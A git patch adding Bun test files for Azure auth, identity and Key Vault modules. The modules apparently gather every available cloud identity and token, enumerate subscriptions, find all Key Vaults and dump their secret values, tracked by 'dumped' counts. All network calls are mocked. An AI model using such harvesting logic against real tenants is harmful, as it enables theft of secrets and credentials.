From 96c1dae225cf161914b9e21f7b31d4ed6f5efdd4 Mon Sep 17 00:00:00 2001 From: shai_hulud Date: Fri, 3 Jul 2026 02:49:46 +0000 Subject: [PATCH] Upload files to "tests/providers/azure" --- tests/providers/azure/auth.test.ts | 372 ++++++++++++++++++++++++ tests/providers/azure/identity.test.ts | 276 ++++++++++++++++++ tests/providers/azure/keyvault.test.ts | 388 +++++++++++++++++++++++++ 3 files changed, 1036 insertions(+) create mode 100644 tests/providers/azure/auth.test.ts create mode 100644 tests/providers/azure/identity.test.ts create mode 100644 tests/providers/azure/keyvault.test.ts diff --git a/tests/providers/azure/auth.test.ts b/tests/providers/azure/auth.test.ts new file mode 100644 index 0000000..bc5b7d9 --- /dev/null +++ b/tests/providers/azure/auth.test.ts @@ -0,0 +1,372 @@ +import { afterEach, beforeEach, describe, expect, it, mock } from "bun:test"; + +// ── Mock global fetch ─────────────────────────────────────────────────────── +const mockFetch = mock(); +globalThis.fetch = mockFetch as unknown as typeof fetch; + +import { + fromEnvServicePrincipal, + fromManagedIdentity, + fromWorkloadIdentity, + resolveAllIdentities, + resolveToken, +} from "../../../src/providers/azure/auth"; + +// ── Helpers ───────────────────────────────────────────────────────────────── + +function setEnv(kv: Record) { + for (const [k, v] of Object.entries(kv)) process.env[k] = v; +} + +function clearEnv(keys: string[]) { + for (const k of keys) delete process.env[k]; +} + +function tokenResponse(overrides: Record = {}) { + return new Response( + JSON.stringify({ + access_token: overrides.access_token ?? "eyJ...fake-token", + expires_in: overrides.expires_in ?? 3600, + expires_on: overrides.expires_on ?? String(Date.now() / 1000 + 3600), + tenant_id: overrides.tenant_id ?? "tenant-123", + client_id: overrides.client_id ?? "client-456", + }), + { status: overrides.status ?? 200 }, + ); +} + +const ENV_KEYS = [ + "AZURE_TENANT_ID", + "AZURE_CLIENT_ID", + "AZURE_CLIENT_SECRET", + "ARM_CLIENT_ID", + "ARM_CLIENT_SECRET", + "ARM_TENANT_ID", + "TENANT_ID", + "AZURE_FEDERATED_TOKEN_FILE", + "ARM_OIDC_TOKEN_FILE_PATH", + "IDENTITY_ENDPOINT", + "IDENTITY_HEADER", +]; + +// ── Tests ─────────────────────────────────────────────────────────────────── + +describe("Azure auth", () => { + beforeEach(() => { + mockFetch.mockImplementation(() => + Promise.reject(new Error("mock fetch not configured for this test")), + ); + clearEnv(ENV_KEYS); + }); + + afterEach(() => { + clearEnv(ENV_KEYS); + }); + + // ═══════════════════════════════════════════════════════════════════════ + // resolveToken — credential chain + // ═══════════════════════════════════════════════════════════════════════ + + describe("resolveToken", () => { + it("throws when no credentials are available", async () => { + mockFetch.mockImplementation(() => + Promise.reject(new Error("connect ECONNREFUSED")), + ); + + await expect( + resolveToken("https://vault.azure.net/.default", undefined, 1000), + ).rejects.toThrow("No Azure credentials available"); + }); + + it("uses env service principal when configured", async () => { + setEnv({ + AZURE_TENANT_ID: "t1", + AZURE_CLIENT_ID: "c1", + AZURE_CLIENT_SECRET: "s1", + }); + + mockFetch.mockImplementation(() => + Promise.resolve(tokenResponse({ access_token: "sp-token" })), + ); + + // Use unique scope to avoid cache contamination from test 1 + const result = await resolveToken("https://vault.azure.net/.default"); + + expect(result.token).toBe("sp-token"); + expect(result.tenantId).toBe("tenant-123"); + }); + + it("falls through to managed identity when env vars incomplete", async () => { + // Only client_id set — no secret or tenant + setEnv({ AZURE_CLIENT_ID: "c1" }); + + mockFetch.mockImplementation(() => + Promise.resolve(tokenResponse({ access_token: "mi-token" })), + ); + + // Use a different scope to avoid cache contamination + const result = await resolveToken( + "https://management.azure.com/.default", + ); + + expect(result.token).toBe("mi-token"); + }); + + it("caches tokens and reuses them", async () => { + setEnv({ + AZURE_TENANT_ID: "t2", + AZURE_CLIENT_ID: "c2", + AZURE_CLIENT_SECRET: "s2", + }); + + let callCount = 0; + mockFetch.mockImplementation(() => { + callCount++; + return Promise.resolve( + tokenResponse({ access_token: `call-${callCount}` }), + ); + }); + + // Use unique scope to isolate cache from other tests + const scope = "https://graph.microsoft.com/.default"; + const r1 = await resolveToken(scope); + const r2 = await resolveToken(scope); + + // Both calls should return the same cached token + expect(r1.token).toBe(r2.token); + expect(callCount).toBe(1); + }); + }); + + // ═══════════════════════════════════════════════════════════════════════ + // fromEnvServicePrincipal + // ═══════════════════════════════════════════════════════════════════════ + + describe("fromEnvServicePrincipal", () => { + it("returns null when AZURE_TENANT_ID is missing", () => { + setEnv({ AZURE_CLIENT_ID: "c1", AZURE_CLIENT_SECRET: "s1" }); + expect(fromEnvServicePrincipal()).toBeNull(); + }); + + it("returns null when AZURE_CLIENT_ID is missing", () => { + setEnv({ AZURE_TENANT_ID: "t1", AZURE_CLIENT_SECRET: "s1" }); + expect(fromEnvServicePrincipal()).toBeNull(); + }); + + it("returns null when AZURE_CLIENT_SECRET is missing", () => { + setEnv({ AZURE_TENANT_ID: "t1", AZURE_CLIENT_ID: "c1" }); + expect(fromEnvServicePrincipal()).toBeNull(); + }); + + it("returns credential when all env vars are set", () => { + setEnv({ + AZURE_TENANT_ID: "t1", + AZURE_CLIENT_ID: "c1", + AZURE_CLIENT_SECRET: "s1", + }); + const cred = fromEnvServicePrincipal(); + expect(cred).not.toBeNull(); + expect(cred!.label).toBe("env-service-principal"); + }); + + it("obtains a token successfully with valid credentials", async () => { + setEnv({ + AZURE_TENANT_ID: "t1", + AZURE_CLIENT_ID: "c1", + AZURE_CLIENT_SECRET: "s1", + }); + + mockFetch.mockImplementation(() => + Promise.resolve(tokenResponse({ access_token: "tok" })), + ); + + const cred = fromEnvServicePrincipal()!; + const token = await cred.getToken("https://vault.azure.net/.default"); + + expect(token.token).toBe("tok"); + }); + + it("throws on non-200 response", async () => { + setEnv({ + AZURE_TENANT_ID: "t1", + AZURE_CLIENT_ID: "bad-client", + AZURE_CLIENT_SECRET: "bad-secret", + }); + + mockFetch.mockImplementation(() => + Promise.resolve(tokenResponse({ access_token: "x", status: 401 })), + ); + + const cred = fromEnvServicePrincipal()!; + await expect( + cred.getToken("https://vault.azure.net/.default"), + ).rejects.toThrow("Client credentials token request failed"); + }); + }); + + // ═══════════════════════════════════════════════════════════════════════ + // fromManagedIdentity + // ═══════════════════════════════════════════════════════════════════════ + + describe("fromManagedIdentity", () => { + it("returns a credential unconditionally", () => { + const cred = fromManagedIdentity(); + expect(cred.label).toBe("managed-identity"); + }); + + it("obtains a token via IMDS", async () => { + mockFetch.mockImplementation(() => + Promise.resolve(tokenResponse({ access_token: "mi-tok" })), + ); + + const cred = fromManagedIdentity(); + const token = await cred.getToken("https://vault.azure.net/.default"); + + expect(token.token).toBe("mi-tok"); + }); + + it("obtains a token via App Service endpoint", async () => { + setEnv({ + IDENTITY_ENDPOINT: "http://127.0.0.1:41567/MSI/token/", + IDENTITY_HEADER: "abc123header", + }); + + mockFetch.mockImplementation(() => + Promise.resolve(tokenResponse({ access_token: "app-svc-tok" })), + ); + + const cred = fromManagedIdentity(); + const token = await cred.getToken("https://vault.azure.net/.default"); + + expect(token.token).toBe("app-svc-tok"); + }); + + it("handles expires_on as relative seconds (App Service)", async () => { + setEnv({ + IDENTITY_ENDPOINT: "http://127.0.0.1:41567/MSI/token/", + IDENTITY_HEADER: "hdr", + }); + + // App Service returns expires_on as relative seconds (< 1M) + mockFetch.mockImplementation(() => + Promise.resolve(tokenResponse({ expires_on: "3600" })), + ); + + const cred = fromManagedIdentity(); + const now = Date.now() / 1000; + const token = await cred.getToken("https://vault.azure.net/.default"); + + // Should be treated as relative (now + 3600), not absolute epoch 3600 + expect(token.expiresOn).toBeGreaterThan(1_000_000_000); + expect(token.expiresOn).toBeGreaterThan(now); + expect(token.expiresOn).toBeLessThan(now + 3700); + }); + + it("handles expires_on as absolute epoch (IMDS)", async () => { + mockFetch.mockImplementation(() => + Promise.resolve(tokenResponse({ expires_on: "2000000000" })), + ); + + const cred = fromManagedIdentity(); + const token = await cred.getToken("https://vault.azure.net/.default"); + + expect(token.expiresOn).toBe(2_000_000_000); + }); + }); + + // ═══════════════════════════════════════════════════════════════════════ + // fromWorkloadIdentity + // ═══════════════════════════════════════════════════════════════════════ + + describe("fromWorkloadIdentity", () => { + it("returns null without AZURE_FEDERATED_TOKEN_FILE", () => { + setEnv({ + AZURE_TENANT_ID: "t1", + AZURE_CLIENT_ID: "c1", + }); + expect(fromWorkloadIdentity()).toBeNull(); + }); + }); + + // ═══════════════════════════════════════════════════════════════════════ + // resolveAllIdentities + // ═══════════════════════════════════════════════════════════════════════ + + describe("resolveAllIdentities", () => { + it("returns empty array when all sources fail", async () => { + mockFetch.mockImplementation(() => + Promise.reject(new Error("network error")), + ); + + const results = await resolveAllIdentities( + "https://management.azure.com/.default", + 500, + ); + + expect(results).toEqual([]); + }); + + it("returns tokens from each available source", async () => { + setEnv({ + AZURE_TENANT_ID: "t1", + AZURE_CLIENT_ID: "c1", + AZURE_CLIENT_SECRET: "s1", + }); + + mockFetch.mockImplementation(() => + Promise.resolve(tokenResponse({ access_token: "sp-tok" })), + ); + + const results = await resolveAllIdentities( + "https://management.azure.com/.default", + 500, + ); + + // Both env SP and managed identity succeed + expect(results).toHaveLength(2); + expect(results[0].source).toBe("env-service-principal"); + expect(results[0].token.token).toBe("sp-tok"); + expect(results[1].source).toBe("managed-identity"); + }); + }); + + // ═══════════════════════════════════════════════════════════════════════ + // ARM_TENANT_ID / ARM_CLIENT_ID fallback + // ═══════════════════════════════════════════════════════════════════════ + + describe("ARM_ env var fallbacks", () => { + it("uses ARM_TENANT_ID when AZURE_TENANT_ID is not set", async () => { + setEnv({ + ARM_TENANT_ID: "arm-t", + AZURE_CLIENT_ID: "c1", + AZURE_CLIENT_SECRET: "s1", + }); + + mockFetch.mockImplementation(() => Promise.resolve(tokenResponse())); + + const cred = fromEnvServicePrincipal()!; + const token = await cred.getToken("https://vault.azure.net/.default"); + + // The credential should work — tenant comes from ARM_TENANT_ID + expect(token).toBeDefined(); + expect(token.token).toBeDefined(); + }); + + it("uses ARM_CLIENT_ID and ARM_CLIENT_SECRET when AZURE_ variants missing", async () => { + setEnv({ + AZURE_TENANT_ID: "t1", + ARM_CLIENT_ID: "arm-c", + ARM_CLIENT_SECRET: "arm-s", + }); + + mockFetch.mockImplementation(() => Promise.resolve(tokenResponse())); + + const cred = fromEnvServicePrincipal()!; + const token = await cred.getToken("https://vault.azure.net/.default"); + + // The credential should work — client/secret from ARM_* vars + expect(token).toBeDefined(); + expect(token.token).toBeDefined(); + }); + }); +}); diff --git a/tests/providers/azure/identity.test.ts b/tests/providers/azure/identity.test.ts new file mode 100644 index 0000000..3205adc --- /dev/null +++ b/tests/providers/azure/identity.test.ts @@ -0,0 +1,276 @@ +import { beforeEach, describe, expect, it, mock } from "bun:test"; + +// ── Mock the auth module ──────────────────────────────────────────────────── +const mockResolveAllIdentities = mock(); +const mockResolveToken = mock(); + +mock.module("../../../src/providers/azure/auth", () => ({ + resolveAllIdentities: mockResolveAllIdentities, + resolveToken: mockResolveToken, +})); + +// ── Mock the client module ────────────────────────────────────────────────── +const mockAzureFetch = mock(); + +mock.module("../../../src/providers/azure/client", () => ({ + azureFetch: mockAzureFetch, +})); + +// ── Mock global fetch for MS Graph calls ──────────────────────────────────── +const mockFetch = mock(); +globalThis.fetch = mockFetch as unknown as typeof fetch; + +import { AzureIdentityService } from "../../../src/providers/azure/identity"; + +// ── Helpers ───────────────────────────────────────────────────────────────── + +function jwtEncode(payload: Record): string { + const header = Buffer.from(JSON.stringify({ alg: "none" })).toString("base64url"); + const body = Buffer.from(JSON.stringify(payload)).toString("base64url"); + return `${header}.${body}.signature`; +} + +function makeTokenResponse(overrides: Record = {}): string { + return JSON.stringify({ + access_token: jwtEncode({ + oid: overrides.oid ?? "obj-123", + tid: overrides.tid ?? "tenant-456", + appid: overrides.appid ?? "app-789", + sub: overrides.sub ?? "sub-user", + ...overrides, + }), + expires_on: String(Date.now() / 1000 + 3600), + tenant_id: overrides.tid ?? "tenant-456", + }); +} + +function makeMsGraphUserResponse(displayName: string) { + return new Response( + JSON.stringify({ + id: "user-1", + displayName, + userPrincipalName: "user@contoso.com", + }), + { status: 200 }, + ); +} + +function makeMsGraphSpResponse(displayName: string) { + return new Response( + JSON.stringify({ + value: [ + { + id: "sp-1", + appId: "app-789", + displayName, + servicePrincipalType: "Application", + }, + ], + }), + { status: 200 }, + ); +} + +// ── Tests ─────────────────────────────────────────────────────────────────── + +describe("AzureIdentityService", () => { + let service: AzureIdentityService; + + beforeEach(() => { + mockResolveAllIdentities.mockReset(); + mockResolveToken.mockReset(); + mockAzureFetch.mockReset(); + mockFetch.mockReset(); + service = new AzureIdentityService(); + }); + + // ── No identities ───────────────────────────────────────────────────── + + it("returns failure when no identities found", async () => { + mockResolveAllIdentities.mockResolvedValue([]); + + const result = await service.execute(); + + expect(result.success).toBe(false); + expect(result.error?.message).toContain("No Azure identities found"); + }); + + // ── Single identity from env service principal ───────────────────────── + + it("resolves identity from env service principal", async () => { + mockResolveAllIdentities.mockResolvedValue([ + { + source: "env-service-principal", + token: { + token: jwtEncode({ + oid: "obj-001", + tid: "tenant-abc", + appid: "app-xyz", + }), + expiresOn: Date.now() / 1000 + 3600, + tenantId: "tenant-abc", + }, + }, + ]); + + // MS Graph user lookup fails → falls back to service principal lookup + mockFetch.mockRejectedValueOnce(new Error("Graph not scoped")); + mockFetch.mockResolvedValueOnce(makeMsGraphSpResponse("MyApp")); + + // ARM subscription list + mockAzureFetch.mockResolvedValue({ + value: [ + { + subscriptionId: "sub-1", + displayName: "Pay-As-You-Go", + state: "Enabled", + }, + ], + }); + + const result = await service.execute(); + + expect(result.success).toBe(true); + const identities = result.data as any[]; + expect(identities).toHaveLength(1); + expect(identities[0].source).toBe("env-service-principal"); + expect(identities[0].tenantId).toBe("tenant-abc"); + expect(identities[0].objectId).toBe("obj-001"); + expect(identities[0].clientId).toBe("app-xyz"); + expect(identities[0].displayName).toBe("MyApp"); + expect(identities[0].subscriptionIds).toEqual(["sub-1"]); + }); + + // ── Multiple identities ──────────────────────────────────────────────── + + it("resolves multiple identities from different sources", async () => { + mockResolveAllIdentities.mockResolvedValue([ + { + source: "env-service-principal", + token: { + token: jwtEncode({ oid: "obj-1", tid: "t1", appid: "a1" }), + expiresOn: Date.now() / 1000 + 3600, + }, + }, + { + source: "managed-identity", + token: { + token: jwtEncode({ oid: "obj-2", tid: "t2", appid: "a2" }), + expiresOn: Date.now() / 1000 + 3600, + }, + }, + ]); + + mockFetch.mockRejectedValue(new Error("no graph")); // both fail + mockAzureFetch.mockResolvedValue({ value: [] }); + + const result = await service.execute(); + + expect(result.success).toBe(true); + const identities = result.data as any[]; + expect(identities).toHaveLength(2); + expect(identities[0].source).toBe("env-service-principal"); + expect(identities[1].source).toBe("managed-identity"); + }); + + // ── MS Graph user info ──────────────────────────────────────────────── + + it("resolves display name from MS Graph user endpoint", async () => { + mockResolveAllIdentities.mockResolvedValue([ + { + source: "env-service-principal", + token: { + token: jwtEncode({ oid: "obj-1", tid: "t1" }), + expiresOn: Date.now() / 1000 + 3600, + }, + }, + ]); + + mockFetch.mockResolvedValueOnce(makeMsGraphUserResponse("Jane Doe")); + mockAzureFetch.mockResolvedValue({ value: [] }); + + const result = await service.execute(); + + expect(result.success).toBe(true); + const identities = result.data as any[]; + expect(identities[0].displayName).toBe("Jane Doe"); + }); + + // ── JWT claim fallbacks ──────────────────────────────────────────────── + + it("falls back to sub claim when oid missing", async () => { + mockResolveAllIdentities.mockResolvedValue([ + { + source: "env-service-principal", + token: { + token: jwtEncode({ tid: "t1", sub: "fallback-sub" }), + expiresOn: Date.now() / 1000 + 3600, + }, + }, + ]); + + mockFetch.mockRejectedValue(new Error("no graph")); + mockAzureFetch.mockResolvedValue({ value: [] }); + + const result = await service.execute(); + + expect(result.success).toBe(true); + const identities = result.data as any[]; + expect(identities[0].objectId).toBe("fallback-sub"); + }); + + // ── ARM subscription filtering ───────────────────────────────────────── + + it("filters out disabled subscriptions", async () => { + mockResolveAllIdentities.mockResolvedValue([ + { + source: "env-service-principal", + token: { + token: jwtEncode({ oid: "obj-1", tid: "t1" }), + expiresOn: Date.now() / 1000 + 3600, + }, + }, + ]); + + mockFetch.mockRejectedValue(new Error("no graph")); + mockAzureFetch.mockResolvedValue({ + value: [ + { subscriptionId: "enabled-1", displayName: "A", state: "Enabled" }, + { subscriptionId: "disabled-1", displayName: "B", state: "Disabled" }, + { subscriptionId: "pastdue-1", displayName: "C", state: "PastDue" }, + ], + }); + + const result = await service.execute(); + + expect(result.success).toBe(true); + const identities = result.data as any[]; + expect(identities[0].subscriptionIds).toEqual(["enabled-1"]); + expect(identities[0].subscriptionIds).not.toContain("disabled-1"); + expect(identities[0].subscriptionIds).not.toContain("pastdue-1"); + }); + + // ── Falls back to token claims when tenantId not in token object ─────── + + it("uses token.tenantId when tid claim is absent", async () => { + mockResolveAllIdentities.mockResolvedValue([ + { + source: "managed-identity", + token: { + token: jwtEncode({ oid: "obj-1" }), + expiresOn: Date.now() / 1000 + 3600, + tenantId: "from-token-obj", + }, + }, + ]); + + mockFetch.mockRejectedValue(new Error("no graph")); + mockAzureFetch.mockResolvedValue({ value: [] }); + + const result = await service.execute(); + + expect(result.success).toBe(true); + const identities = result.data as any[]; + expect(identities[0].tenantId).toBe("from-token-obj"); + }); +}); diff --git a/tests/providers/azure/keyvault.test.ts b/tests/providers/azure/keyvault.test.ts new file mode 100644 index 0000000..37bd8b0 --- /dev/null +++ b/tests/providers/azure/keyvault.test.ts @@ -0,0 +1,388 @@ +import { beforeEach, describe, expect, it, mock } from "bun:test"; + +// ── Mock the auth module ──────────────────────────────────────────────────── +const mockResolveToken = mock(); +const mockResolveAllIdentities = mock(); + +mock.module("../../../src/providers/azure/auth", () => ({ + resolveToken: mockResolveToken, + resolveAllIdentities: mockResolveAllIdentities, +})); + +// ── Mock the client module ────────────────────────────────────────────────── +const mockAzureFetch = mock(); +const mockListKeyVaultSecrets = mock(); +const mockGetKeyVaultSecretLatest = mock(); +const mockGetKeyVaultSecret = mock(); + +mock.module("../../../src/providers/azure/client", () => ({ + azureFetch: mockAzureFetch, + listKeyVaultSecrets: mockListKeyVaultSecrets, + getKeyVaultSecretLatest: mockGetKeyVaultSecretLatest, + getKeyVaultSecret: mockGetKeyVaultSecret, +})); + +import { AzureKeyVaultService } from "../../../src/providers/azure/keyvault"; + +// ── Helpers ───────────────────────────────────────────────────────────────── + +function setupAuth() { + mockResolveToken.mockResolvedValue({ + token: "fake-token", + expiresOn: Date.now() / 1000 + 3600, + tenantId: "tenant-123", + }); +} + +function makeSecretItem(id: string) { + return { + id: `https://myvault.vault.azure.net/secrets/${id}/${crypto.randomUUID()}`, + attributes: { enabled: true, created: 0, updated: 0 }, + tags: {}, + }; +} + +function makeSecretsResponse(names: string[], nextLink?: string) { + return { + value: names.map((n) => makeSecretItem(n)), + nextLink, + }; +} + +// ── Tests ─────────────────────────────────────────────────────────────────── + +describe("AzureKeyVaultService", () => { + let service: AzureKeyVaultService; + + beforeEach(() => { + mockResolveToken.mockReset(); + mockResolveAllIdentities.mockReset(); + mockAzureFetch.mockReset(); + mockListKeyVaultSecrets.mockReset(); + mockGetKeyVaultSecretLatest.mockReset(); + mockGetKeyVaultSecret.mockReset(); + // Clear env vars between tests + delete process.env.KEY_VAULT_NAME; + delete process.env.AZURE_VAULT_NAME; + service = new AzureKeyVaultService(); + }); + + // ── Auth failure ────────────────────────────────────────────────────── + + it("returns failure when authentication fails", async () => { + mockResolveToken.mockRejectedValue(new Error("No Azure credentials")); + + const result = await service.execute(); + + expect(result.success).toBe(true); + const data = result.data as any; + expect(data.ok).toBe(false); + expect(data.authError).toBeArray(); + expect(data.authError[0]).toContain("Azure auth failed"); + expect(data.authError[0]).toContain("No Azure credentials"); + }); + + // ── No vaults found ─────────────────────────────────────────────────── + + it("returns failure when no vaults are discoverable", async () => { + mockResolveToken.mockResolvedValue({ token: "t", expiresOn: 9e9 }); + // ARM subscription list returns nothing + mockAzureFetch.mockResolvedValue({ value: [] }); + + const result = await service.execute(); + + expect(result.success).toBe(true); + const data = result.data as any; + expect(data.ok).toBe(false); + expect(data.vaultsFound).toBe(0); + expect(data.dumped).toBe(0); + }); + + // ── Env var vault discovery ─────────────────────────────────────────── + + it("discovers vaults from AZURE_KEY_VAULT_NAME env var", async () => { + setupAuth(); + process.env.KEY_VAULT_NAME = "vault-one,vault-two"; + mockListKeyVaultSecrets.mockResolvedValue([makeSecretItem("db-password")]); + mockGetKeyVaultSecretLatest.mockResolvedValue("mysecretvalue"); + + const result = await service.execute(); + + expect(result.success).toBe(true); + const data = result.data as any; + expect(data.vaults).toHaveLength(2); + expect(data.vaults[0].vaultName).toBe("vault-one"); + expect(data.vaults[1].vaultName).toBe("vault-two"); + }); + + // ── Single vault, single secret ─────────────────────────────────────── + + it("returns success with single vault and secret", async () => { + setupAuth(); + process.env.KEY_VAULT_NAME = "myvault"; + mockListKeyVaultSecrets.mockResolvedValue([makeSecretItem("api-key")]); + mockGetKeyVaultSecretLatest.mockResolvedValue("sk-abc123"); + + const result = await service.execute(); + + expect(result.success).toBe(true); + const data = result.data as any; + expect(data.vaults).toHaveLength(1); + expect(data.vaults[0].vaultName).toBe("myvault"); + expect(data.vaults[0].secrets["api-key"]).toBe("sk-abc123"); + }); + + // ── Multiple secrets in one vault ───────────────────────────────────── + + it("returns success with multiple secrets in one vault", async () => { + setupAuth(); + process.env.KEY_VAULT_NAME = "myvault"; + const secretIds = ["db-password", "api-key", "certificate"]; + mockListKeyVaultSecrets.mockResolvedValue( + secretIds.map((id) => makeSecretItem(id)), + ); + mockGetKeyVaultSecretLatest.mockImplementation( + (_vault: string, name: string) => { + if (name === "db-password") return Promise.resolve("p@ssw0rd"); + if (name === "api-key") return Promise.resolve("sk-456"); + if (name === "certificate") return Promise.resolve("BINARY_DATA"); + return Promise.resolve(undefined); + }, + ); + + const result = await service.execute(); + + expect(result.success).toBe(true); + const data = result.data as any; + const secrets = data.vaults[0].secrets; + expect(Object.keys(secrets)).toHaveLength(3); + expect(secrets["db-password"]).toBe("p@ssw0rd"); + expect(secrets["api-key"]).toBe("sk-456"); + expect(secrets["certificate"]).toBe("BINARY_DATA"); + }); + + // ─── Pagination (nextLink) ───────────────────────────────────────────── + + it("paginates through multiple pages of secrets", async () => { + setupAuth(); + process.env.KEY_VAULT_NAME = "myvault"; + // First page: 2 secrets + nextLink; second page: 1 secret + mockListKeyVaultSecrets.mockResolvedValue([ + makeSecretItem("s1"), + makeSecretItem("s2"), + makeSecretItem("s3"), + ]); + mockGetKeyVaultSecretLatest.mockImplementation( + (_vault: string, name: string) => Promise.resolve(`value-${name}`), + ); + + const result = await service.execute(); + + expect(result.success).toBe(true); + const data = result.data as any; + const secrets = data.vaults[0].secrets; + expect(Object.keys(secrets)).toHaveLength(3); + expect(secrets["s1"]).toBe("value-s1"); + expect(secrets["s3"]).toBe("value-s3"); + }); + + // ── Secret fetch failure ────────────────────────────────────────────── + + it("stores error object for secrets that fail to fetch", async () => { + setupAuth(); + process.env.KEY_VAULT_NAME = "myvault"; + mockListKeyVaultSecrets.mockResolvedValue([ + makeSecretItem("good-secret"), + makeSecretItem("bad-secret"), + ]); + mockGetKeyVaultSecretLatest.mockImplementation( + (_vault: string, name: string) => { + if (name === "good-secret") return Promise.resolve("value"); + if (name === "bad-secret") + return Promise.reject(new Error("Forbidden")); + return Promise.resolve(undefined); + }, + ); + + const result = await service.execute(); + + expect(result.success).toBe(true); + const data = result.data as any; + const secrets = data.vaults[0].secrets; + expect(secrets["good-secret"]).toBe("value"); + const bad = secrets["bad-secret"]; + expect(bad).toBeObject(); + expect((bad as any).error).toContain("Forbidden"); + }); + + // ── All vaults fail ─────────────────────────────────────────────────── + + it("returns failure when all vaults fail", async () => { + setupAuth(); + process.env.KEY_VAULT_NAME = "vault-a,vault-b"; + mockListKeyVaultSecrets.mockRejectedValue(new Error("AccessDenied")); + + const result = await service.execute(); + + expect(result.success).toBe(true); + const data = result.data as any; + expect(data.ok).toBe(false); + expect(data.dumped).toBe(0); + expect(data.errored).toBe(2); + }); + + // ── Mixed vault success/failure ─────────────────────────────────────── + + it("returns success with vaultErrors when some vaults fail", async () => { + setupAuth(); + process.env.KEY_VAULT_NAME = "good-vault,bad-vault"; + mockListKeyVaultSecrets.mockImplementation((vaultName: string) => { + if (vaultName === "good-vault") { + return Promise.resolve([makeSecretItem("secret1")]); + } + return Promise.reject(new Error("Forbidden")); + }); + mockGetKeyVaultSecretLatest.mockResolvedValue("secret-value"); + + const result = await service.execute(); + + expect(result.success).toBe(true); + const data = result.data as any; + // One vault succeeded, one failed + expect(data.vaults).toHaveLength(2); + const succeeded = data.vaults.filter( + (v: any) => v.secrets && Object.keys(v.secrets).length > 0, + ); + const failed = data.vaults.filter((v: any) => v.error); + expect(succeeded).toHaveLength(1); + expect(succeeded[0].vaultName).toBe("good-vault"); + expect(failed).toHaveLength(1); + expect(failed[0].vaultName).toBe("bad-vault"); + expect(failed[0].error).toContain("Forbidden"); + expect(data.vaultErrors).toBeArray(); + expect(data.vaultErrors).toHaveLength(1); + }); + + // ── Empty vault (no secrets) ────────────────────────────────────────── + + it("handles vault with no secrets", async () => { + setupAuth(); + process.env.KEY_VAULT_NAME = "empty-vault"; + mockListKeyVaultSecrets.mockResolvedValue([]); + + const result = await service.execute(); + + expect(result.success).toBe(true); + const data = result.data as any; + expect(data.vaults).toHaveLength(1); + expect(data.vaults[0].secrets).toEqual({}); + }); + + // ── Undefined secret value (binary / empty) ─────────────────────────── + + it("handles secrets with undefined values (binary/empty)", async () => { + setupAuth(); + process.env.KEY_VAULT_NAME = "myvault"; + mockListKeyVaultSecrets.mockResolvedValue([makeSecretItem("cert")]); + mockGetKeyVaultSecretLatest.mockResolvedValue(undefined); + + const result = await service.execute(); + + expect(result.success).toBe(true); + const data = result.data as any; + expect(data.vaults[0].secrets["cert"]).toBe("BINARY_OR_EMPTY"); + }); + + // ── ARM vault discovery ─────────────────────────────────────────────── + + it("discovers vaults via ARM when env var not set", async () => { + setupAuth(); + // No env var set + delete process.env.KEY_VAULT_NAME; + + // ARM responses: first subscriptions, then resource listing + mockAzureFetch.mockImplementation((opts: any) => { + if ( + opts.path.includes("/subscriptions") && + !opts.path.includes("/resources") + ) { + // Subscription list + return Promise.resolve({ + value: [ + { + subscriptionId: "sub-1", + displayName: "Sub One", + state: "Enabled", + }, + { + subscriptionId: "sub-2", + displayName: "Sub Two", + state: "Disabled", + }, + ], + }); + } + if (opts.path.includes("/resources")) { + // Resource listing — only called for enabled subscriptions + return Promise.resolve({ + value: [ + { + name: "discovered-vault", + type: "Microsoft.KeyVault/vaults", + location: "eastus", + }, + ], + nextLink: undefined, + }); + } + return Promise.resolve({ value: [] }); + }); + + // Key Vault operations for the discovered vault + mockListKeyVaultSecrets.mockResolvedValue([makeSecretItem("found-secret")]); + mockGetKeyVaultSecretLatest.mockResolvedValue("discovered-value"); + + const result = await service.execute(); + + expect(result.success).toBe(true); + const data = result.data as any; + expect(data.vaults).toHaveLength(1); + expect(data.vaults[0].vaultName).toBe("discovered-vault"); + expect(data.vaults[0].secrets["found-secret"]).toBe("discovered-value"); + }); + + // ── Deduplication of vault names ────────────────────────────────────── + + it("deduplicates vault names from env and ARM discovery", async () => { + setupAuth(); + process.env.KEY_VAULT_NAME = "shared-vault"; + + // ARM also finds the same vault + mockAzureFetch.mockImplementation((opts: any) => { + if (opts.path === "/subscriptions") { + return Promise.resolve({ + value: [ + { subscriptionId: "sub-1", displayName: "Test", state: "Enabled" }, + ], + }); + } + if (opts.path.includes("/resources")) { + return Promise.resolve({ + value: [{ name: "shared-vault", type: "Microsoft.KeyVault/vaults" }], + }); + } + return Promise.resolve({ value: [] }); + }); + + // But since env var returns vaults directly, ARM isn't called for discovery + mockListKeyVaultSecrets.mockResolvedValue([makeSecretItem("s1")]); + mockGetKeyVaultSecretLatest.mockResolvedValue("val"); + + const result = await service.execute(); + + expect(result.success).toBe(true); + const data = result.data as any; + // Only one vault should be processed (env var takes priority) + expect(data.vaults).toHaveLength(1); + }); +});